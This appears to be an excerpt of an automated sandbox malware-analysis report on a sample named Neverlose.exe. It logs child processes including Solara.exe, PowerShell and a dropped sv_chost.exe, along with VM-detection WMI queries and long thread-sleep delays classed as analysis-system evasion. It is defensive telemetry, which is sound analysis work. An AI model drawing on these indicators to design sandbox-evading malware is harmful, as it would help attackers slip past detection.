Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\Neverlose.exe	Memory allocated: 2E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Memory allocated: 3920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe	Memory allocated: 5920000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Memory allocated: 13E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Memory allocated: 1B0D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 1120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 2DC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Memory allocated: 1120000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Memory allocated: E20000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Memory allocated: 1A9F0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Memory allocated: D60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Memory allocated: 1A8E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Memory allocated: 1240000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Memory allocated: 1AE80000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Memory allocated: 730000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Memory allocated: 1A580000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Memory allocated: BF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Memory allocated: 1A920000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\Neverlose.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599891	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599657	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599312	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 599091	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598970	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598730	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598616	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598495	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598351	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 598168	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7046	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2756	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Window / User API: threadDelayed 8917	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Window / User API: threadDelayed 906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Window / User API: threadDelayed 828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Window / User API: threadDelayed 1768	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4423	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5338	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6457
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3269
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3519
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6196
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2460
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7028

Source: C:\Users\user\Desktop\Neverlose.exe TID: 2740	Thread sleep count: 73 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Neverlose.exe TID: 2664	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6660	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe TID: 7560	Thread sleep time: -37815825351104557s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599891s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599657s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599532s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599422s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599312s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599203s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -599091s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598970s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598844s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598730s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598616s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598495s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598351s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7328	Thread sleep time: -598168s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe TID: 7272	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7512	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.exe TID: 7688	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 6457 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep count: 3269 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Solara.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4856	Thread sleep count: 2460 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4856	Thread sleep count: 7028 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4476	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Users\user\AppData\Roaming\sv_chost.exe TID: 7488	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\sv_chost.exe TID: 7812	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\sv_chost.exe TID: 7496	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

